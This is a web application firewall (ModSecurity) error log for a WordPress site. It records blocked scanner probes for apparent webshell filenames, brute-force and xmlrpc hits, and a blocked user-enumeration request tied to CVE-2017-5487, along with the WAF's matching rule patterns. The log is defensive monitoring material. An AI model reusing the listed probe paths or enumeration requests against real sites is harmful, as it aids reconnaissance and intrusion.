[Sun Apr 12 09:28:33.869869 2026] [:error] [pid 60280:tid 60299] [client 74.248.34.0:9086] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "adr1QXBlLnDOYuIykkhEYAAAAdE"]
[Sun Apr 12 09:28:35.593649 2026] [:error] [pid 60280:tid 60294] [client 74.248.34.0:9193] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "adr1Q3BlLnDOYuIykkhEYgAAAcw"]
[Sun Apr 12 09:28:36.554664 2026] [:error] [pid 25327:tid 25359] [client 74.248.34.0:8966] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "adr1RC6h2tZEVJo9JFJ05QAAABc"]
[Sun Apr 12 09:28:37.136667 2026] [:error] [pid 60280:tid 60286] [client 74.248.34.0:9074] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "adr1RXBlLnDOYuIykkhEawAAAcQ"]
[Sun Apr 12 09:28:38.020343 2026] [:error] [pid 26599:tid 26623] [client 74.248.34.0:9171] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "adr1RnG89LXoQbk_rwB8wAAAAVU"]
[Sun Apr 12 09:28:38.863430 2026] [:error] [pid 25329:tid 25399] [client 74.248.34.0:9195] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "adr1RmdcIYsS8Iyaj11mvAAAAI0"]
[Sun Apr 12 09:28:39.523671 2026] [:error] [pid 26599:tid 26622] [client 74.248.34.0:9194] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adr1R3G89LXoQbk_rwB8wwAAAVQ"]
[Sun Apr 12 09:28:40.398768 2026] [:error] [pid 26599:tid 26625] [client 74.248.34.0:8961] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adr1SHG89LXoQbk_rwB8xAAAAVc"]
[Sun Apr 12 09:28:41.477153 2026] [:error] [pid 25437:tid 25444] [client 74.248.34.0:9123] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adr1SXf97wYZje1ep_ORkAAAAMU"]
[Sun Apr 12 09:28:42.508489 2026] [:error] [pid 60280:tid 60282] [client 74.248.34.0:9148] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adr1SnBlLnDOYuIykkhEdwAAAcA"]
[Sun Apr 12 09:28:43.371758 2026] [:error] [pid 60280:tid 60295] [client 74.248.34.0:9124] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "adr1S3BlLnDOYuIykkhEfwAAAc0"]
[Sun Apr 12 09:28:44.895698 2026] [:error] [pid 26567:tid 26587] [client 74.248.34.0:9070] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "adr1THhRpg6ptWFyFx06pQAAARI"]
[Sun Apr 12 09:28:46.855892 2026] [:error] [pid 60280:tid 60295] [client 74.248.34.0:9186] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "adr1TnBlLnDOYuIykkhEjQAAAc0"]
[Sun Apr 12 09:28:49.066217 2026] [:error] [pid 60280:tid 60288] [client 74.248.34.0:9131] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a4.php"] [unique_id "adr1UXBlLnDOYuIykkhEnwAAAcY"]
[Sun Apr 12 09:28:51.021377 2026] [:error] [pid 60280:tid 60282] [client 74.248.34.0:9140] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adr1U3BlLnDOYuIykkhErgAAAcA"]
[Sun Apr 12 09:28:53.337715 2026] [:error] [pid 26599:tid 26611] [client 74.248.34.0:8982] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adr1VXG89LXoQbk_rwB8yQAAAUk"]
[Sun Apr 12 09:28:55.891727 2026] [:error] [pid 60280:tid 60284] [client 74.248.34.0:9052] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adr1V3BlLnDOYuIykkhEyAAAAcI"]
[Sun Apr 12 09:28:57.160927 2026] [:error] [pid 26599:tid 26604] [client 74.248.34.0:9105] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adr1WXG89LXoQbk_rwB81AAAAUI"]
[Sun Apr 12 09:28:58.068325 2026] [:error] [pid 26600:tid 26649] [client 74.248.34.0:9106] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adr1Wu1YwAZiXhQKLYqt9QAAAZQ"]
[Sun Apr 12 09:28:58.930184 2026] [:error] [pid 25328:tid 25394] [client 74.248.34.0:9129] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adr1WsxUaQZxT-e0YsA6gwAAAFI"]
[Sun Apr 12 09:29:00.592079 2026] [:error] [pid 60280:tid 60290] [client 74.248.34.0:9034] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adr1XHBlLnDOYuIykkhEzwAAAcg"]
[Sun Apr 12 09:29:01.885904 2026] [:error] [pid 60280:tid 60301] [client 74.248.34.0:9160] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xsas.php"] [unique_id "adr1XXBlLnDOYuIykkhE2gAAAdM"]
[Sun Apr 12 09:29:02.862626 2026] [:error] [pid 26567:tid 26570] [client 74.248.34.0:9115] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/jp.php"] [unique_id "adr1XnhRpg6ptWFyFx06swAAAQE"]
[Sun Apr 12 09:29:03.692595 2026] [:error] [pid 25437:tid 25448] [client 74.248.34.0:9130] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/jp.php"] [unique_id "adr1X3f97wYZje1ep_OR4AAAAMk"]
[Sun Apr 12 09:29:04.553098 2026] [:error] [pid 60280:tid 60294] [client 74.248.34.0:9213] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/jp.php"] [unique_id "adr1YHBlLnDOYuIykkhE5QAAAcw"]
[Sun Apr 12 09:29:05.532467 2026] [:error] [pid 26600:tid 26653] [client 74.248.34.0:9080] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/jp.php"] [unique_id "adr1Ye1YwAZiXhQKLYqt_QAAAZg"]
[Sun Apr 12 09:29:07.058069 2026] [:error] [pid 60280:tid 60300] [client 74.248.34.0:9210] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adr1Y3BlLnDOYuIykkhE8wAAAdI"]
[Sun Apr 12 09:29:08.158062 2026] [:error] [pid 25437:tid 25451] [client 74.248.34.0:9126] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adr1ZHf97wYZje1ep_OR6AAAAMw"]
[Sun Apr 12 09:29:09.537333 2026] [:error] [pid 25328:tid 25401] [client 74.248.34.0:9167] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adr1ZcxUaQZxT-e0YsA6mgAAAFU"]
[Sun Apr 12 09:29:10.433099 2026] [:error] [pid 25328:tid 25398] [client 74.248.34.0:8910] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8573.php"] [unique_id "adr1ZsxUaQZxT-e0YsA6ogAAAFQ"]
[Sun Apr 12 09:29:11.668832 2026] [:error] [pid 25328:tid 25394] [client 74.248.34.0:9154] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adr1Z8xUaQZxT-e0YsA6pQAAAFI"]
[Sun Apr 12 09:29:12.515603 2026] [:error] [pid 25328:tid 25380] [client 74.248.34.0:9048] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adr1aMxUaQZxT-e0YsA6qQAAAEw"]
[Sun Apr 12 09:29:13.239382 2026] [:error] [pid 60280:tid 60306] [client 74.248.34.0:9168] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adr1aXBlLnDOYuIykkhFBQAAAdg"]
[Sun Apr 12 09:29:14.164752 2026] [:error] [pid 25329:tid 25413] [client 74.248.34.0:9198] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adr1amdcIYsS8Iyaj11mxgAAAJY"]
[Sun Apr 12 09:29:15.405980 2026] [:error] [pid 60280:tid 60301] [client 74.248.34.0:9067] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "adr1a3BlLnDOYuIykkhFFAAAAdM"]
[Sun Apr 12 09:29:16.941825 2026] [:error] [pid 26599:tid 26606] [client 74.248.34.0:9138] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "adr1bHG89LXoQbk_rwB83gAAAUQ"]
[Sun Apr 12 09:29:19.247822 2026] [:error] [pid 26567:tid 26593] [client 74.248.34.0:9036] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "adr1b3hRpg6ptWFyFx06ugAAARg"]
[Sun Apr 12 09:29:20.250765 2026] [:error] [pid 60280:tid 60306] [client 74.248.34.0:9174] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "adr1cHBlLnDOYuIykkhFKQAAAdg"]
[Sun Apr 12 09:29:21.933551 2026] [:error] [pid 26599:tid 26613] [client 74.248.34.0:9204] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adr1cXG89LXoQbk_rwB84QAAAUs"]
[Sun Apr 12 09:29:23.464151 2026] [:error] [pid 60280:tid 60296] [client 74.248.34.0:9051] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adr1c3BlLnDOYuIykkhFNAAAAc4"]
[Sun Apr 12 09:29:25.698067 2026] [:error] [pid 60280:tid 60295] [client 74.248.34.0:9192] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adr1dXBlLnDOYuIykkhFPAAAAc0"]
[Sun Apr 12 09:29:27.700775 2026] [:error] [pid 60280:tid 60305] [client 74.248.34.0:9071] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adr1d3BlLnDOYuIykkhFSwAAAdc"]
[Sun Apr 12 09:29:29.789210 2026] [:error] [pid 25328:tid 25372] [client 74.248.34.0:9176] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "adr1ecxUaQZxT-e0YsA6uwAAAEc"]
[Sun Apr 12 10:06:25.522068 2026] [:error] [pid 25328:tid 25367] [client 45.181.57.186:42205] [client 45.181.57.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.181.57.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adr-IcxUaQZxT-e0YsBKRQAAAEM"]
[Sun Apr 12 10:44:55.759469 2026] [:error] [pid 25328:tid 25405] [client 50.6.160.232:59026] [client 50.6.160.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.160.232, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adsHJ8xUaQZxT-e0YsBaiQAAAFc"]
[Sun Apr 12 10:44:57.794498 2026] [:error] [pid 25328:tid 25366] [client 50.6.160.232:59026] [client 50.6.160.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.160.232, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adsHKcxUaQZxT-e0YsBakQAAAEI"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 12 12:30:43.452047 2026] [:error] [pid 25437:tid 25459] [client 85.206.241.171:58369] [client 85.206.241.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.206.241.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsf83f97wYZje1ep_PMegAAANQ"]
[Sun Apr 12 12:30:43.452820 2026] [:error] [pid 25327:tid 25358] [client 85.206.241.169:59765] [client 85.206.241.169] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adsf8y6h2tZEVJo9JFKWogAAABY"]
[Sun Apr 12 13:14:23.769902 2026] [:error] [pid 25437:tid 25449] [client 212.35.69.83:45498] [client 212.35.69.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.35.69.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsqL3f97wYZje1ep_PYngAAAMo"]
[Sun Apr 12 13:14:33.515830 2026] [:error] [pid 25328:tid 25408] [client 212.35.69.83:48766] [client 212.35.69.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.35.69.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsqOcxUaQZxT-e0YsCYYwAAAFg"]
[Sun Apr 12 13:14:44.062775 2026] [:error] [pid 26600:tid 26643] [client 212.35.69.83:35366] [client 212.35.69.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.35.69.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsqRO1YwAZiXhQKLYrmkQAAAY4"]
[Sun Apr 12 13:14:54.583636 2026] [:error] [pid 60280:tid 60303] [client 212.35.69.83:34737] [client 212.35.69.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.35.69.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsqTnBlLnDOYuIykkjCwAAAAdU"]
[Sun Apr 12 13:15:05.109418 2026] [:error] [pid 25437:tid 25450] [client 212.35.69.83:52392] [client 212.35.69.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.35.69.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsqWXf97wYZje1ep_PZMAAAAMs"]
[Sun Apr 12 13:29:52.708597 2026] [:error] [pid 25437:tid 25456] [client 171.111.192.222:32986] [client 171.111.192.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.111.192.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adst0Hf97wYZje1ep_Pc-gAAANE"]
[Sun Apr 12 13:30:02.054083 2026] [:error] [pid 25327:tid 25350] [client 171.111.192.222:35060] [client 171.111.192.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.111.192.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adst2i6h2tZEVJo9JFKe5gAAAA4"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 12 13:34:18.894984 2026] [:error] [pid 25328:tid 25383] [client 49.235.136.28:56666] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adsu2sxUaQZxT-e0YsCgQQAAAE0"]
